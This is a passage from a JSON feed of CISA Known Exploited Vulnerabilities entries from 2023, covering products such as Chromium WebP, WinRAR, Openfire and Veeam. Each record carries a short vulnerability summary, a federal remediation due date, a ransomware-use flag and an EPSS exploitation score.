Devices"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-09-18","dueAt":"2023-10-09","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.00389,"percentile":0.32692,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-22265&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-22265","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-09-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-22265 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-22265&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-22265, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-26369","cveId":"CVE-2023-26369","aliases":[],"kind":"vulnerability","title":"Adobe Acrobat and Reader Out-of-Bounds Write Vulnerability","summary":"Adobe Acrobat and Reader contains an out-of-bounds write vulnerability that allows for code execution.","detail":"CISA added this entry on 2023-09-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-09-14","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Acrobat and Reader","stacks":["Adobe Acrobat and Reader","Adobe","Acrobat and Reader"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-09-14","dueAt":"2023-10-05","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.06746,"percentile":0.93916,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-26369&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-26369","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-09-14","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-26369 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-26369&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-26369, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-20269","cveId":"CVE-2023-20269","aliases":[],"kind":"vulnerability","title":"Cisco Adaptive Security Appliance and Firepower Threat Defense Unauthorized Access Vulnerability","summary":"Cisco Adaptive Security Appliance and Firepower Threat Defense contain an unauthorized access vulnerability that could allow an unauthenticated, remote attacker to conduct a brute force attack in an attempt to identify valid username and password combinations or establish a clientless SSL VPN session with an unauthorized user.","detail":"CISA added this entry on 2023-09-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions for group-lock and vpn-simultaneous-logins or discontinue use of the product for unsupported devices.","publishedAt":"2023-09-13","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"Adaptive Security Appliance and Firepower Threat Defense","stacks":["Cisco","Adaptive Security Appliance and Firepower Threat Defense"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-09-13","dueAt":"2023-10-04","action":"Apply mitigations per vendor instructions for group-lock and vpn-simultaneous-logins or discontinue use of the product for unsupported devices.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.26623,"percentile":0.98005,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-20269&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-20269","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-09-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-20269 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-20269&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-20269, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-35674","cveId":"CVE-2023-35674","aliases":[],"kind":"vulnerability","title":"Android Framework Privilege Escalation Vulnerability","summary":"Android Framework contains an unspecified vulnerability that allows for privilege escalation.","detail":"CISA added this entry on 2023-09-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-09-13","updatedAt":null,"regions":["Global"],"vendor":"Android","product":"Framework","stacks":["Android","Framework"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-09-13","dueAt":"2023-10-04","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.02636,"percentile":0.85443,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-35674&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-35674","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-09-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-35674 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-35674&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-35674, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-4863","cveId":"CVE-2023-4863","aliases":[],"kind":"vulnerability","title":"Google Chromium WebP Heap-Based Buffer Overflow Vulnerability","summary":"Google Chromium WebP contains a heap-based buffer overflow vulnerability that allows a remote attacker to perform an out-of-bounds memory write via a crafted HTML page. This vulnerability can affect applications that use the WebP Codec.","detail":"CISA added this entry on 2023-09-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-09-13","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium WebP","stacks":["Google Chrome","Google","Chromium WebP"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-09-13","dueAt":"2023-10-04","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99979,"percentile":0.9998,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-4863&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-4863","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-09-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-4863 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-4863&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-4863, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-36761","cveId":"CVE-2023-36761","aliases":[],"kind":"vulnerability","title":"Microsoft Word Information Disclosure Vulnerability","summary":"Microsoft Word contains an unspecified vulnerability that allows for information disclosure.","detail":"CISA added this entry on 2023-09-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-09-12","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Word","stacks":["Microsoft Office","Microsoft","Word"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-09-12","dueAt":"2023-10-03","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.1957,"percentile":0.97361,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-36761&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-36761","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-09-12","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-36761 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-36761&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-36761, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-36802","cveId":"CVE-2023-36802","aliases":[],"kind":"vulnerability","title":"Microsoft Streaming Service Proxy Privilege Escalation Vulnerability","summary":"Microsoft Streaming Service Proxy contains an unspecified vulnerability that allows for privilege escalation.","detail":"CISA added this entry on 2023-09-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-09-12","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Streaming Service Proxy","stacks":["Microsoft","Streaming Service Proxy"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-09-12","dueAt":"2023-10-03","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.27909,"percentile":0.98085,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-36802&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-36802","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-09-12","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-36802 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-36802&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-36802, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-41061","cveId":"CVE-2023-41061","aliases":[],"kind":"vulnerability","title":"Apple iOS, iPadOS, and watchOS Wallet Code Execution Vulnerability","summary":"Apple iOS, iPadOS, and watchOS contain an unspecified vulnerability due to a validation issue affecting Wallet in which a maliciously crafted attachment may result in code execution. This vulnerability was chained with CVE-2023-41064.","detail":"CISA added this entry on 2023-09-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-09-11","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"iOS, iPadOS, and watchOS","stacks":["Apple iOS and iPadOS","Apple","iOS, iPadOS, and watchOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-09-11","dueAt":"2023-10-02","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.04409,"percentile":0.91265,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-41061&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-41061","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-09-11","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-41061 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-41061&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-41061, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-41064","cveId":"CVE-2023-41064","aliases":[],"kind":"vulnerability","title":"Apple iOS, iPadOS, and macOS ImageIO Buffer Overflow Vulnerability","summary":"Apple iOS, iPadOS, and macOS contain a buffer overflow vulnerability in ImageIO when processing a maliciously crafted image, which may lead to code execution. This vulnerability was chained with CVE-2023-41061.","detail":"CISA added this entry on 2023-09-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-09-11","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"iOS, iPadOS, and macOS","stacks":["Apple iOS and iPadOS","Apple macOS","Apple","iOS, iPadOS, and macOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-09-11","dueAt":"2023-10-02","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.53403,"percentile":0.98981,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-41064&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-41064","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-09-11","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-41064 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-41064&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-41064, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-33246","cveId":"CVE-2023-33246","aliases":[],"kind":"vulnerability","title":"Apache RocketMQ Command Execution Vulnerability","summary":"Several components of Apache RocketMQ, including NameServer, Broker, and Controller, are exposed to the extranet and lack permission verification. An attacker can exploit this vulnerability by using the update configuration function to execute commands as the system users that RocketMQ is running as or achieve the same effect by forging the RocketMQ protocol content.","detail":"CISA added this entry on 2023-09-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-09-06","updatedAt":null,"regions":["Global"],"vendor":"Apache","product":"RocketMQ","stacks":["Apache","RocketMQ"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-09-06","dueAt":"2023-09-27","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.96568,"percentile":0.99882,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-33246&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-33246","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-09-06","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-33246 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-33246&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-33246, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-32315","cveId":"CVE-2023-32315","aliases":[],"kind":"vulnerability","title":"Ignite Realtime Openfire Path Traversal Vulnerability","summary":"Ignite Realtime Openfire contains a path traversal vulnerability that allows an unauthenticated attacker to access restricted pages in the Openfire Admin Console reserved for administrative users.","detail":"CISA added this entry on 2023-08-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-08-24","updatedAt":null,"regions":["Global"],"vendor":"Ignite Realtime","product":"Openfire","stacks":["Ignite Realtime","Openfire"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-08-24","dueAt":"2023-09-14","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99999,"percentile":0.99993,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-32315&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-32315","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-08-24","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-32315 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-32315&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-32315, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-38831","cveId":"CVE-2023-38831","aliases":[],"kind":"vulnerability","title":"RARLAB WinRAR Code Execution Vulnerability","summary":"RARLAB WinRAR contains an unspecified vulnerability that allows an attacker to execute code when a user attempts to view a benign file within a ZIP archive.","detail":"CISA added this entry on 2023-08-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-08-24","updatedAt":null,"regions":["Global"],"vendor":"RARLAB","product":"WinRAR","stacks":["7-Zip and WinRAR","RARLAB","WinRAR"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-08-24","dueAt":"2023-09-14","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99815,"percentile":0.99959,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-38831&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-38831","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-08-24","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-38831 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-38831&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-38831, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-27532","cveId":"CVE-2023-27532","aliases":[],"kind":"vulnerability","title":"Veeam Backup & Replication Cloud Connect Missing Authentication for Critical Function Vulnerability","summary":"Veeam Backup & Replication Cloud Connect component contains a missing authentication for critical function vulnerability that allows an unauthenticated user operating within the backup infrastructure network perimeter to obtain encrypted credentials stored in the configuration database. This may lead to an attacker gaining access to the backup infrastructure hosts.","detail":"CISA added this entry on 2023-08-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-08-22","updatedAt":null,"regions":["Global"],"vendor":"Veeam","product":"Backup & Replication","stacks":["Veeam","Backup & Replication"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-08-22","dueAt":"2023-09-12","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.80599,"percentile":0.99621,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-27532&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-27532","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-08-22","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-27532 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-27532&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-27532, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-38035","cveId":"CVE-2023-38035","aliases":[],"kind":"vulnerability","title":"Ivanti Sentry Authentication Bypass Vulnerability","summary":"Ivanti Sentry, formerly known as MobileIron Sentry, contains an authentication bypass vulnerability that may allow an attacker to bypass authentication controls on the administrative interface due to an insufficiently restrictive Apache HTTPD configuration.","detail":"CISA added this entry on 2023-08-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-08-22","updatedAt":null,"regions":["Global"],"vendor":"Ivanti","product":"Sentry","stacks":["Ivanti","Sentry"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-08-22","dueAt":"2023-09-12","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.9995,"percentile":0.99974,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-38035&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-38035","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-08-22","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-38035 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-38035&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-38035, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-26359","cveId":"CVE-2023-26359","aliases":[],"kind":"vulnerability","title":"Adobe ColdFusion Deserialization of Untrusted Data Vulnerability","summary":"Adobe ColdFusion contains a deserialization of untrusted data vulnerability that could result in code execution in the context of the current user.","detail":"CISA added this entry on 2023-08-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are 